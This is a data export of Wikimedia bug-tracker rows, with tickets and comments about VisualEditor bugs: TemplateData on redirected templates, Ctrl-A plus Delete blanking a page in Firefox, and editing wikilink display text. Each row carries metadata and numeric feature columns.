http://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor/TemplateData#What_about_redirected_templates",,,1374641826,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,"Note from bug 51791 fwiw: this issue is being discussed at
URL"
245420,TemplateData: TemplateData is not available to VisualEditor if the template is a redirect,*** Bug 51791 has been marked as a duplicate of this bug. ***,,,1374641783,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-it7sgrllp5k6su66uukw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51791 has been marked as a duplicate of this bug. ***
52947,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"To reproduce:

* Edit a page with some existing content in VisualEditor.
* Press Ctrl-A to select the whole text.
* Press the Delete key.

Observed: The page cannot be edited any more.

Expected: The page doesn't have any text, but text can be added.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1373297880,1380309457.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-mip6kupgxcxydyy26dwa,task_description,resolved,True,c1,3,False,False,True,1,,4.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,17.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,3.4814814814814814,0.5802469135802469,"To reproduce:

* Edit a page with some existing content in VisualEditor.
* Press Ctrl-A to select the whole text.
* Press the Delete key.

Observed: The page cannot be edited any more.

Expected: The page doesn't have any text, but text can be added.

--------------------------
**Version**: unspecified
**Severity**: major"
244477,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Change 86299 merged by jenkins-bot:
ce.BranchNode: Insert slugs based on CE children length, not DM

https://gerrit.wikimedia.org/r/86299",,,1380474885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.92,0.96,"Change 86299 merged by jenkins-bot:
ce.BranchNode: Insert slugs based on CE children length, not DM

GERRIT_URL"
244471,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"This bug has been fixed somewhere in the past week. The range is no longer (0,0) but (0,[document length]). The document no longer crashes and properly deletes all content.

However this uncovered another bug, namely that in Firefox deleting the selection now leaves the document completely empty (not even a placeholder <p> to start typing again). That is what change 86299 (https://gerrit.wikimedia.org/r/86299) addresses.

However this bug is fixed, though I don't know which commit fixed it.",,,1380309457,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,12,,1.0,0.0,1.0,2.0,2.0,2.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,4.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,2.0,2.0,0.0,3.0,4.040816326530612,0.7142857142857143,"This bug has been fixed somewhere in the past week. The range is no longer (0,0) but (0,[document length]). The document no longer crashes and properly deletes all content.

However this uncovered another bug, namely that in Firefox deleting the selection now leaves the document completely empty (not even a placeholder <p> to start typing again). That is what change 86299 (GERRIT_URL) addresses.

However this bug is fixed, though I don't know which commit fixed it."
244466,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Change 86299 had a related patch set uploaded by Krinkle:
ce.BranchNode: Insert slugs based on CE children length, not DM

https://gerrit.wikimedia.org/r/86299",,,1380309327,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.107142857142857,0.9642857142857143,"Change 86299 had a related patch set uploaded by Krinkle:
ce.BranchNode: Insert slugs based on CE children length, not DM

GERRIT_URL"
244461,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"When the document loads in Firefox (Firefox 24, Mac) ve.ce.Document#getNodeAndOffset gets called with offset=1 to show initial selection (range: 1,1).

When selecting all and pressing backspace, ve.ce.Document#getNodeAndOffset gets called with offset = -1.

It gets there from ve.ce.Surface#handleDelete, which has a rangeToRemove (from this.model.getSelection) of 0,0.

The #handleDelete method then sees the range is collapsed, and since backspace=true, it will get a relative range on the document from the (collapsed) 0,0 rangeToRemove to -1.",,,1380214427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,12,,0.5,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,8.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,6.0,2.0,1.5,7.5,0.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,1.5,8.5,7.5,0.0,0.0,0.0,1.5,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,4.576923076923077,0.7211538461538461,"When the document loads in Firefox (Firefox 24, Mac) ve.ce.Document#getNodeAndOffset gets called with offset=1 to show initial selection (range: 1,1).

When selecting all and pressing backspace, ve.ce.Document#getNodeAndOffset gets called with offset = -1.

It gets there from ve.ce.Surface#handleDelete, which has a rangeToRemove (from this.model.getSelection) of 0,0.

The #handleDelete method then sees the range is collapsed, and since backspace=true, it will get a relative range on the document from the (collapsed) 0,0 rangeToRemove to -1."
244456,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,This is still happening with Firefox 24 on Linux using the monobook skin (other combinations not tested),,,1379886743,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.631578947368421,1.0,This is still happening with Firefox 24 on Linux using the monobook skin (other combinations not tested)
244451,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"**JohnCD67** wrote:

Occurs with Vector/Win7/FF23.0. It doesn't matter whether Ctr-A or Right-click/Select all is used, or whether ""Delete"" or ""Backspace"" is used to delete.",,,1376330120,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,6,,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,8.0,21.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1458333333333335,0.6875,"**JohnCD67** wrote:

Occurs with Vector/Win7/FF23.0. It doesn't matter whether Ctr-A or Right-click/Select all is used, or whether ""Delete"" or ""Backspace"" is used to delete."
244447,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,*** Bug 52125 has been marked as a duplicate of this bug. ***,,,1375199198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52125 has been marked as a duplicate of this bug. ***
244444,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,Looking into it now.,,,1374627567,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.4,1.0,Looking into it now.
244440,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Example from Bug 51169, which also has a screenshot.

https://en.wikipedia.org/w/index.php?title=List_of_American_Dad!_characters&curid=2082680&diff=564675517&oldid=564302759",,,1374082150,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,1.0,"Example from Bug 51169, which also has a screenshot.

URL"
244433,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,*** Bug 51169 has been marked as a duplicate of this bug. ***,,,1374079615,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51169 has been marked as a duplicate of this bug. ***
244426,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,*** Bug 50519 has been marked as a duplicate of this bug. ***,,,1374079583,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50519 has been marked as a duplicate of this bug. ***
244417,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Yes.

In RL debug mode I got this:

--
[11:13:55.789] TypeError: node.getParent(...) is null @ https://bits.wikimedia.org/static-1.22wmf8/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js:1265

It only happens in Firefox.",,,1373444097,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,9.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.264705882352941,0.8823529411764706,"Yes.

In RL debug mode I got this:

--
[11:13:55.789] TypeError: node.getParent(...) is null @ URL

It only happens in Firefox."
244410,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,Do any JS errors appear in the console while you do this?,,,1373421989,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,1,,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,Do any JS errors appear in the console while you do this?
52945,VisualEditor: Wikilink editing does not permit easy alteration of display text,"From a conversation with an English Wikipedia editor user Thryduulf, he says that when it comes to editing existing links (as opposed to adding new one): 
***
there are three things you could want to do:

(1) change the link without changing the text (e.g. [[Mercury]] → [[Mercury (planet)|Mercury]])
(2) change the text without changing the link (e.g. [[Mercury (element)]] → [[Mercury (element)|Mercury]])
(3) change both (e.g. [[Mercury]] → [[Freddie Mercury]])

At present it seems that the visual editor always assumes you want to do 1, and unless you delete the link completely there is no way of doing otherwise..., but for beginners I'd say that 3 should be the default. There needs to be some way to set the target of a link independently of what is displayed, and I'm not sure how best to do that but maybe an option on the link dialog called ""display as"" or something like that would be the way to go.

***

(Please see http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563383564#Changing_link_text_often_results_in_bad_code.2C_wrong_links_and_unmatched_.3C.2Fnowki.3Es

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52240
https://bugzilla.wikimedia.org/show_bug.cgi?id=50678
https://bugzilla.wikimedia.org/show_bug.cgi?id=33091
https://bugzilla.wikimedia.org/show_bug.cgi?id=50452
https://bugzilla.wikimedia.org/show_bug.cgi?id=53973",High,80.0,1373295960,1403727795.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-uxowmsznm5ykbiez7tm2,task_description,resolved,True,c1,3,False,False,False,1,,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.0,1.0,0.0,0.0,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,0.0,4.333333333333333,9.666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,1.0,0.6666666666666666,1.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.0,9.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,5.0,2.0,9.333333333333334,2.0,1.6666666666666667,6.666666666666667,0.0,0.0,0.0,0.0,5.0,0.3333333333333333,1.3333333333333333,0.0,2.6666666666666665,9.666666666666666,5.666666666666667,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,1.0,1.3333333333333333,0.0,2.0,0.0,0.3333333333333333,5.0,3.341547497446374,0.6239359891045284,"From a conversation with an English Wikipedia editor user Thryduulf, he says that when it comes to editing existing links (as opposed to adding new one): 
***
there are three things you could want to do:

(1) change the link without changing the text (e.g. [[Mercury]] → [[Mercury (planet)|Mercury]])
(2) change the text without changing the link (e.g. [[Mercury (element)]] → [[Mercury (element)|Mercury]])
(3) change both (e.g. [[Mercury]] → [[Freddie Mercury]])

At present it seems that the visual editor always assumes you want to do 1, and unless you delete the link completely there is no way of doing otherwise..., but for beginners I'd say that 3 should be the default. There needs to be some way to set the target of a link independently of what is displayed, and I'm not sure how best to do that but maybe an option on the link dialog called ""display as"" or something like that would be the way to go.

***

(Please see URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL
URL
URL"
244311,VisualEditor: Wikilink editing does not permit easy alteration of display text,"(In reply to Krinkle from comment #8)
> (removed a couple duplicate see-alsos)
> 
> Unless I misunderstood the bug, we haven't really made any progress on this
> since last year.

Yes, you have mis-understood comment 7:

(In reply to James Forrester from comment #7)
> (In reply to Elitre from comment #6)
> > What Chris described at comment#3 is still happening:
> > https://fr.wikipedia.org/w/index.
> > php?title=St%C3%A9phane_Bern&diff=100014868&oldid=98819232 .
> 
> That's now in bug 62819, which we believe we have just fixed this week (to
> go out on Thursday). Closing this. The suggestion that there be two edit
> fields in the link inspector (one for anchor, the other for target) is
> tracked in bug 53973.

The remaining parts of this bug that aren't fixed are a duplicate of bug 53973.",,,1403727795,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,1.0,11.0,17.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.3157894736842106,0.5,"(In reply to Krinkle from comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

Yes, you have mis-understood comment 7:

(In reply to James Forrester from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The remaining parts of this bug that aren't fixed are a duplicate of bug 53973."
244305,VisualEditor: Wikilink editing does not permit easy alteration of display text,"(removed a couple duplicate see-alsos)

Unless I misunderstood the bug, we haven't really made any progress on this since last year.

(In reply to Maggie Dennis from comment #0)
> there are three things you could want to do:
> 
> (1) change the link without changing the text (e.g. [[Mercury]] → [[Mercury
> (planet)|Mercury]])
> (2) change the text without changing the link (e.g. [[Mercury (element)]] →
> [[Mercury (element)|Mercury]])
> (3) change both (e.g. [[Mercury]] → [[Freddie Mercury]])
> 
> At present it seems that the visual editor always assumes you want to do 1,
> and unless you delete the link completely there is no way of doing
> otherwise..., but for beginners I'd say that 3 should be the default. There
> needs to be some way to set the target of a link independently of what is
> displayed, and I'm not sure how best to do that but maybe an option on the
> link dialog called ""display as"" or something like that would be the way to
> go.

#2 and #3 are still not possible without deleting everything and re-creating a link. The only other way is to basically type the new label somewhere within the existing label, and then strip away the old characters. That's not something any user can be expected to do.

E.g. to change label from ""Foo"" to ""Bar"" of external link http://example.org:

1. Type ""Bar"" inside ""Foo""
   - Foo
   + FoBaro
2. Manually remove ""Fo"" and ""o""

The main things lacking for this bug is a way to change the link label.

Or in other words, to select the contents of the label without its boundaries. Right now selecting ""Foo"" and typing over it removes the link...

Bug 37939 is also related (would make it easier to select it), but is not required.

Right now users would probably be forced into removing it and re-creating it, which hits bug 67086 / bug 67088.",,,1403715476,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,51,,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,1.3333333333333333,4.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,6.0,9.0,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,3.6666666666666665,0.6666666666666666,2.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,11.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,2.3333333333333335,13.333333333333334,0.6666666666666666,3.0,6.666666666666667,0.0,0.0,0.0,1.0,4.333333333333333,0.3333333333333333,2.6666666666666665,0.0,3.0,9.0,7.666666666666667,0.0,4.666666666666667,0.0,3.0,0.0,0.3333333333333333,1.0,0.0,4.0,0.3333333333333333,0.0,0.0,3.473866000832293,0.6457344985434873,"(removed a couple duplicate see-alsos)

Unless I misunderstood the bug, we haven't really made any progress on this since last year.

(In reply to Maggie Dennis from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

#2 and #3 are still not possible without deleting everything and re-creating a link. The only other way is to basically type the new label somewhere within the existing label, and then strip away the old characters. That's not something any user can be expected to do.

E.g. to change label from ""Foo"" to ""Bar"" of external link URL

1. Type ""Bar"" inside ""Foo""
   - Foo
   + FoBaro
2. Manually remove ""Fo"" and ""o""

The main things lacking for this bug is a way to change the link label.

Or in other words, to select the contents of the label without its boundaries. Right now selecting ""Foo"" and typing over it removes the link...

Bug 37939 is also related (would make it easier to select it), but is not required.

Right now users would probably be forced into removing it and re-creating it, which hits bug 67086 / bug 67088."
